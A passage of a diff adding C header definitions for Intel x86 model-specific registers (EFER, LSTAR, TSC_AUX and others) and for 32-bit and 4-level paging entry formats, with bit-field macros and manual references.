0xFFFFFFFF +#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * @brief COS (R/W) + * + * [Bits 63:32] The class of service (COS) to enforce (on writes); returns the current COS when read. + * + * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[15] = 1 ) + */ + uint64_t cos : 32; +#define IA32_PQR_ASSOC_COS_BIT 32 +#define IA32_PQR_ASSOC_COS_FLAG 0xFFFFFFFF00000000 +#define IA32_PQR_ASSOC_COS_MASK 0xFFFFFFFF +#define IA32_PQR_ASSOC_COS(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_pqr_assoc_register; + + +/** + * Supervisor State of MPX Configuration. + * + * @remarks If (CPUID.(EAX=07H, ECX=0H):EBX[14] = 1) + */ +#define IA32_BNDCFGS 0x00000D90 +typedef union +{ + struct + { + /** + * [Bit 0] Enable Intel MPX in supervisor mode. + */ + uint64_t enable : 1; +#define IA32_BNDCFGS_ENABLE_BIT 0 +#define IA32_BNDCFGS_ENABLE_FLAG 0x01 +#define IA32_BNDCFGS_ENABLE_MASK 0x01 +#define IA32_BNDCFGS_ENABLE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Preserve the bounds registers for near branch instructions in the absence of the BND prefix. + */ + uint64_t bnd_preserve : 1; +#define IA32_BNDCFGS_BND_PRESERVE_BIT 1 +#define IA32_BNDCFGS_BND_PRESERVE_FLAG 0x02 +#define IA32_BNDCFGS_BND_PRESERVE_MASK 0x01 +#define IA32_BNDCFGS_BND_PRESERVE(_) (((_) >> 1) & 0x01) + uint64_t reserved1 : 10; + + /** + * [Bits 63:12] Base Address of Bound Directory. + */ + uint64_t bound_directory_base_address : 52; +#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_BIT 12 +#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_FLAG 0xFFFFFFFFFFFFF000 +#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_MASK 0xFFFFFFFFFFFFF +#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS(_) (((_) >> 12) & 0xFFFFFFFFFFFFF) + }; + + uint64_t flags; +} ia32_bndcfgs_register; + + +/** + * Extended Supervisor State Mask. + * + * @remarks If ( CPUID.(0DH, 1):EAX.[3] = 1 + */ +#define IA32_XSS 0x00000DA0 +typedef union +{ + struct + { + uint64_t reserved1 : 8; + + /** + * [Bit 8] Trace Packet Configuration State. + */ + uint64_t trace_packet_configuration_state : 1; +#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_BIT 8 +#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_FLAG 0x100 +#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_MASK 0x01 +#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 55; + }; + + uint64_t flags; +} ia32_xss_register; + + +/** + * Package Level Enable/disable HDC. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + */ +#define IA32_PKG_HDC_CTL 0x00000DB0 +typedef union +{ + struct + { + /** + * @brief HDC_Pkg_Enable (R/W) + * + * [Bit 0] Force HDC idling or wake up HDC-idled logical processors in the package. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + * @see Vol3B[14.5.2(Package level Enabling HDC)] + */ + uint64_t hdc_pkg_enable : 1; +#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_BIT 0 +#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_FLAG 0x01 +#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_MASK 0x01 +#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_pkg_hdc_ctl_register; + + +/** + * Enable/disable HWP. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + */ +#define IA32_PM_CTL1 0x00000DB1 +typedef union +{ + struct + { + /** + * @brief HDC_Allow_Block (R/W) + * + * [Bit 0] Allow/Block this logical processor for package level HDC control. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + * @see Vol3B[14.5.3(Logical-Processor Level HDC Control)] + */ + uint64_t hdc_allow_block : 1; +#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_BIT 0 +#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_FLAG 0x01 +#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_MASK 0x01 +#define IA32_PM_CTL1_HDC_ALLOW_BLOCK(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_pm_ctl1_register; + + +/** + * Per-Logical_Processor HDC Idle Residency. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + */ +#define IA32_THREAD_STALL 0x00000DB2 +typedef struct +{ + /** + * @brief Stall_Cycle_Cnt (R/W) + * + * Stalled cycles due to HDC forced idle on this logical processor. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + * @see Vol3B[14.5.4.1(IA32_THREAD_STALL)] + */ + uint64_t stall_cycle_count; +} ia32_thread_stall_register; + + +/** + * Extended Feature Enables. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + */ +#define IA32_EFER 0xC0000080 +typedef union +{ + struct + { + /** + * @brief SYSCALL Enable (R/W) + * + * [Bit 0] Enables SYSCALL/SYSRET instructions in 64-bit mode. + */ + uint64_t syscall_enable : 1; +#define IA32_EFER_SYSCALL_ENABLE_BIT 0 +#define IA32_EFER_SYSCALL_ENABLE_FLAG 0x01 +#define IA32_EFER_SYSCALL_ENABLE_MASK 0x01 +#define IA32_EFER_SYSCALL_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 7; + + /** + * @brief IA-32e Mode Enable (R/W) + * + * [Bit 8] Enables IA-32e mode operation. + */ + uint64_t ia32e_mode_enable : 1; +#define IA32_EFER_IA32E_MODE_ENABLE_BIT 8 +#define IA32_EFER_IA32E_MODE_ENABLE_FLAG 0x100 +#define IA32_EFER_IA32E_MODE_ENABLE_MASK 0x01 +#define IA32_EFER_IA32E_MODE_ENABLE(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief IA-32e Mode Active (R) + * + * [Bit 10] Indicates IA-32e mode is active when set. + */ + uint64_t ia32e_mode_active : 1; +#define IA32_EFER_IA32E_MODE_ACTIVE_BIT 10 +#define IA32_EFER_IA32E_MODE_ACTIVE_FLAG 0x400 +#define IA32_EFER_IA32E_MODE_ACTIVE_MASK 0x01 +#define IA32_EFER_IA32E_MODE_ACTIVE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] Execute Disable Bit Enable. + */ + uint64_t execute_disable_bit_enable : 1; +#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_BIT 11 +#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_FLAG 0x800 +#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_MASK 0x01 +#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE(_) (((_) >> 11) & 0x01) + uint64_t reserved3 : 52; + }; + + uint64_t flags; +} ia32_efer_register; + + +/** + * System Call Target Address. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_STAR 0xC0000081 + + /** + * @brief IA-32e Mode System Call Target Address (R/W) + * + * Target RIP for the called procedure when SYSCALL is executed in 64-bit mode. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_LSTAR 0xC0000082 + + /** + * @brief IA-32e Mode System Call Target Address (R/W) + * + * Not used, as the SYSCALL instruction is not recognized in compatibility mode. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_CSTAR 0xC0000083 + + /** + * System Call Flag Mask. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_FMASK 0xC0000084 + + /** + * Map of BASE Address of FS. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_FS_BASE 0xC0000100 + + /** + * Map of BASE Address of GS. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_GS_BASE 0xC0000101 + + /** + * Swap Target of BASE Address of GS. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_KERNEL_GS_BASE 0xC0000102 + + /** + * Auxiliary TSC. + * + * @remarks If CPUID.80000001H: EDX[27] = 1 or CPUID.(EAX=7,ECX=0):ECX[bit 22] = 1 + */ +#define IA32_TSC_AUX 0xC0000103 +typedef union +{ + struct + { + /** + * [Bits 31:0] AUX. Auxiliary signature of TSC. + */ + uint64_t tsc_auxiliary_signature : 32; +#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_BIT 0 +#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_FLAG 0xFFFFFFFF +#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_MASK 0xFFFFFFFF +#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE(_) (((_) >> 0) & 0xFFFFFFFF) + uint64_t reserved1 : 32; + }; + + uint64_t flags; +} ia32_tsc_aux_register; + +/** + * @} + */ + + /** + * @defgroup paging \ + * Paging + * @{ + */ + /** + * @defgroup paging_32 \ + * 32-Bit Paging + * + * A logical processor uses 32-bit paging if CR0.PG = 1 and CR4.PAE = 0. 32-bit paging translates 32-bit linear addresses + * to 40-bit physical addresses. Although 40 bits corresponds to 1 TByte, linear addresses are limited to 32 bits; at most + * 4 GBytes of linear-address space may be accessed at any given time. + * 32-bit paging uses a hierarchy of paging structures to produce a translation for a linear address. CR3 is used to locate + * the first paging-structure, the page directory. 32-bit paging may map linear addresses to either 4-KByte pages or + * 4-MByte pages. + * + * @see Vol3A[4.5(4-LEVEL PAGING)] (reference) + * @{ + */ + /** + * @brief Format of a 32-Bit Page-Directory Entry that Maps a 4-MByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 4-MByte page. + */ + uint32_t present : 1; +#define PDE_4MB_32_PRESENT_BIT 0 +#define PDE_4MB_32_PRESENT_FLAG 0x01 +#define PDE_4MB_32_PRESENT_MASK 0x01 +#define PDE_4MB_32_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t write : 1; +#define PDE_4MB_32_WRITE_BIT 1 +#define PDE_4MB_32_WRITE_FLAG 0x02 +#define PDE_4MB_32_WRITE_MASK 0x01 +#define PDE_4MB_32_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t supervisor : 1; +#define PDE_4MB_32_SUPERVISOR_BIT 2 +#define PDE_4MB_32_SUPERVISOR_FLAG 0x04 +#define PDE_4MB_32_SUPERVISOR_MASK 0x01 +#define PDE_4MB_32_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-MByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_write_through : 1; +#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-MByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_cache_disable : 1; +#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t accessed : 1; +#define PDE_4MB_32_ACCESSED_BIT 5 +#define PDE_4MB_32_ACCESSED_FLAG 0x20 +#define PDE_4MB_32_ACCESSED_MASK 0x01 +#define PDE_4MB_32_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t dirty : 1; +#define PDE_4MB_32_DIRTY_BIT 6 +#define PDE_4MB_32_DIRTY_FLAG 0x40 +#define PDE_4MB_32_DIRTY_MASK 0x01 +#define PDE_4MB_32_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Page size; must be 1 (otherwise, this entry references a page table). + */ + uint32_t large_page : 1; +#define PDE_4MB_32_LARGE_PAGE_BIT 7 +#define PDE_4MB_32_LARGE_PAGE_FLAG 0x80 +#define PDE_4MB_32_LARGE_PAGE_MASK 0x01 +#define PDE_4MB_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint32_t global : 1; +#define PDE_4MB_32_GLOBAL_BIT 8 +#define PDE_4MB_32_GLOBAL_FLAG 0x100 +#define PDE_4MB_32_GLOBAL_MASK 0x01 +#define PDE_4MB_32_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint32_t ignored_1 : 3; +#define PDE_4MB_32_IGNORED_1_BIT 9 +#define PDE_4MB_32_IGNORED_1_FLAG 0xE00 +#define PDE_4MB_32_IGNORED_1_MASK 0x07 +#define PDE_4MB_32_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bit 12] Indirectly determines the memory type used to access the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t pat : 1; +#define PDE_4MB_32_PAT_BIT 12 +#define PDE_4MB_32_PAT_FLAG 0x1000 +#define PDE_4MB_32_PAT_MASK 0x01 +#define PDE_4MB_32_PAT(_) (((_) >> 12) & 0x01) + + /** + * [Bits 20:13] Bits (M-1):32 of physical address of the 4-MByte page referenced by this entry. + */ + uint32_t page_frame_number_low : 8; +#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_BIT 13 +#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_FLAG 0x1FE000 +#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_MASK 0xFF +#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW(_) (((_) >> 13) & 0xFF) + uint32_t reserved1 : 1; + + /** + * [Bits 31:22] Bits 31:22 of physical address of the 4-MByte page referenced by this entry. + */ + uint32_t page_frame_number_high : 10; +#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_BIT 22 +#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_FLAG 0xFFC00000 +#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_MASK 0x3FF +#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH(_) (((_) >> 22) & 0x3FF) + }; + + uint32_t flags; +} pde_4mb_32; + +/** + * @brief Format of a 32-Bit Page-Directory Entry that References a Page Table + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to reference a page table. + */ + uint32_t present : 1; +#define PDE_32_PRESENT_BIT 0 +#define PDE_32_PRESENT_FLAG 0x01 +#define PDE_32_PRESENT_MASK 0x01 +#define PDE_32_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-MByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t write : 1; +#define PDE_32_WRITE_BIT 1 +#define PDE_32_WRITE_FLAG 0x02 +#define PDE_32_WRITE_MASK 0x01 +#define PDE_32_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-MByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t supervisor : 1; +#define PDE_32_SUPERVISOR_BIT 2 +#define PDE_32_SUPERVISOR_FLAG 0x04 +#define PDE_32_SUPERVISOR_MASK 0x01 +#define PDE_32_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page table referenced by this + * entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_write_through : 1; +#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDE_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page table referenced by this + * entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_cache_disable : 1; +#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDE_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t accessed : 1; +#define PDE_32_ACCESSED_BIT 5 +#define PDE_32_ACCESSED_FLAG 0x20 +#define PDE_32_ACCESSED_MASK 0x01 +#define PDE_32_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Ignored. + */ + uint32_t ignored_1 : 1; +#define PDE_32_IGNORED_1_BIT 6 +#define PDE_32_IGNORED_1_FLAG 0x40 +#define PDE_32_IGNORED_1_MASK 0x01 +#define PDE_32_IGNORED_1(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] If CR4.PSE = 1, must be 0 (otherwise, this entry maps a 4-MByte page); otherwise, ignored. + */ + uint32_t large_page : 1; +#define PDE_32_LARGE_PAGE_BIT 7 +#define PDE_32_LARGE_PAGE_FLAG 0x80 +#define PDE_32_LARGE_PAGE_MASK 0x01 +#define PDE_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] Ignored. + */ + uint32_t ignored_2 : 4; +#define PDE_32_IGNORED_2_BIT 8 +#define PDE_32_IGNORED_2_FLAG 0xF00 +#define PDE_32_IGNORED_2_MASK 0x0F +#define PDE_32_IGNORED_2(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 31:12] Physical address of 4-KByte aligned page table referenced by this entry. + */ + uint32_t page_frame_number : 20; +#define PDE_32_PAGE_FRAME_NUMBER_BIT 12 +#define PDE_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 +#define PDE_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF +#define PDE_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; +} pde_32; + +/** + * @brief Format of a 32-Bit Page-Table Entry that Maps a 4-KByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 4-KByte page. + */ + uint32_t present : 1; +#define PTE_32_PRESENT_BIT 0 +#define PTE_32_PRESENT_FLAG 0x01 +#define PTE_32_PRESENT_MASK 0x01 +#define PTE_32_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t write : 1; +#define PTE_32_WRITE_BIT 1 +#define PTE_32_WRITE_FLAG 0x02 +#define PTE_32_WRITE_MASK 0x01 +#define PTE_32_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t supervisor : 1; +#define PTE_32_SUPERVISOR_BIT 2 +#define PTE_32_SUPERVISOR_FLAG 0x04 +#define PTE_32_SUPERVISOR_MASK 0x01 +#define PTE_32_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-KByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_write_through : 1; +#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PTE_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-KByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_cache_disable : 1; +#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PTE_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t accessed : 1; +#define PTE_32_ACCESSED_BIT 5 +#define PTE_32_ACCESSED_FLAG 0x20 +#define PTE_32_ACCESSED_MASK 0x01 +#define PTE_32_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t dirty : 1; +#define PTE_32_DIRTY_BIT 6 +#define PTE_32_DIRTY_FLAG 0x40 +#define PTE_32_DIRTY_MASK 0x01 +#define PTE_32_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Indirectly determines the memory type used to access the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t pat : 1; +#define PTE_32_PAT_BIT 7 +#define PTE_32_PAT_FLAG 0x80 +#define PTE_32_PAT_MASK 0x01 +#define PTE_32_PAT(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint32_t global : 1; +#define PTE_32_GLOBAL_BIT 8 +#define PTE_32_GLOBAL_FLAG 0x100 +#define PTE_32_GLOBAL_MASK 0x01 +#define PTE_32_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint32_t ignored_1 : 3; +#define PTE_32_IGNORED_1_BIT 9 +#define PTE_32_IGNORED_1_FLAG 0xE00 +#define PTE_32_IGNORED_1_MASK 0x07 +#define PTE_32_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bits 31:12] Physical address of 4-KByte aligned page table referenced by this entry. + */ + uint32_t page_frame_number : 20; +#define PTE_32_PAGE_FRAME_NUMBER_BIT 12 +#define PTE_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 +#define PTE_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF +#define PTE_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; +} pte_32; + +/** + * @brief Format of a common Page-Table Entry + */ +typedef union +{ + struct + { + uint32_t present : 1; +#define PT_ENTRY_32_PRESENT_BIT 0 +#define PT_ENTRY_32_PRESENT_FLAG 0x01 +#define PT_ENTRY_32_PRESENT_MASK 0x01 +#define PT_ENTRY_32_PRESENT(_) (((_) >> 0) & 0x01) + uint32_t write : 1; +#define PT_ENTRY_32_WRITE_BIT 1 +#define PT_ENTRY_32_WRITE_FLAG 0x02 +#define PT_ENTRY_32_WRITE_MASK 0x01 +#define PT_ENTRY_32_WRITE(_) (((_) >> 1) & 0x01) + uint32_t supervisor : 1; +#define PT_ENTRY_32_SUPERVISOR_BIT 2 +#define PT_ENTRY_32_SUPERVISOR_FLAG 0x04 +#define PT_ENTRY_32_SUPERVISOR_MASK 0x01 +#define PT_ENTRY_32_SUPERVISOR(_) (((_) >> 2) & 0x01) + uint32_t page_level_write_through : 1; +#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + uint32_t page_level_cache_disable : 1; +#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + uint32_t accessed : 1; +#define PT_ENTRY_32_ACCESSED_BIT 5 +#define PT_ENTRY_32_ACCESSED_FLAG 0x20 +#define PT_ENTRY_32_ACCESSED_MASK 0x01 +#define PT_ENTRY_32_ACCESSED(_) (((_) >> 5) & 0x01) + uint32_t dirty : 1; +#define PT_ENTRY_32_DIRTY_BIT 6 +#define PT_ENTRY_32_DIRTY_FLAG 0x40 +#define PT_ENTRY_32_DIRTY_MASK 0x01 +#define PT_ENTRY_32_DIRTY(_) (((_) >> 6) & 0x01) + uint32_t large_page : 1; +#define PT_ENTRY_32_LARGE_PAGE_BIT 7 +#define PT_ENTRY_32_LARGE_PAGE_FLAG 0x80 +#define PT_ENTRY_32_LARGE_PAGE_MASK 0x01 +#define PT_ENTRY_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) + uint32_t global : 1; +#define PT_ENTRY_32_GLOBAL_BIT 8 +#define PT_ENTRY_32_GLOBAL_FLAG 0x100 +#define PT_ENTRY_32_GLOBAL_MASK 0x01 +#define PT_ENTRY_32_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint32_t ignored_1 : 3; +#define PT_ENTRY_32_IGNORED_1_BIT 9 +#define PT_ENTRY_32_IGNORED_1_FLAG 0xE00 +#define PT_ENTRY_32_IGNORED_1_MASK 0x07 +#define PT_ENTRY_32_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bits 31:12] Physical address of the 4-KByte page referenced by this entry. + */ + uint32_t page_frame_number : 20; +#define PT_ENTRY_32_PAGE_FRAME_NUMBER_BIT 12 +#define PT_ENTRY_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 +#define PT_ENTRY_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF +#define PT_ENTRY_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; +} pt_entry_32; + +/** + * @defgroup paging_structures_entry_count_32 \ + * Paging structures entry counts + * + * Paging structures entry counts. + * @{ + */ +#define PDE_ENTRY_COUNT_32 0x00000400 +#define PTE_ENTRY_COUNT_32 0x00000400 + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup paging_64 \ + * 64-Bit (4-Level) Paging + * + * A logical processor uses 4-level paging if CR0.PG = 1, CR4.PAE = 1, and IA32_EFER.LME = 1. With 4-level paging, linear + * address are translated using a hierarchy of in-memory paging structures located using the contents of CR3. 4-level + * paging translates 48-bit linear addresses to 52-bit physical addresses. Although 52 bits corresponds to 4 PBytes, linear + * addresses are limited to 48 bits; at most 256 TBytes of linear-address space may be accessed at any given time. + * 4-level paging uses a hierarchy of paging structures to produce a translation for a linear address. CR3 is used to + * locate the first paging-structure, the PML4 table. Use of CR3 with 4-level paging depends on whether processcontext + * identifiers (PCIDs) have been enabled by setting CR4.PCIDE. + * + * @see Vol3A[4.5(4-LEVEL PAGING)] (reference) + * @{ + */ + /** + * @brief Format of a 4-Level PML4 Entry (PML4E) that References a Page-Directory-Pointer Table + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to reference a page-directory-pointer table. + */ + uint64_t present : 1; +#define PML4E_64_PRESENT_BIT 0 +#define PML4E_64_PRESENT_FLAG 0x01 +#define PML4E_64_PRESENT_MASK 0x01 +#define PML4E_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 512-GByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PML4E_64_WRITE_BIT 1 +#define 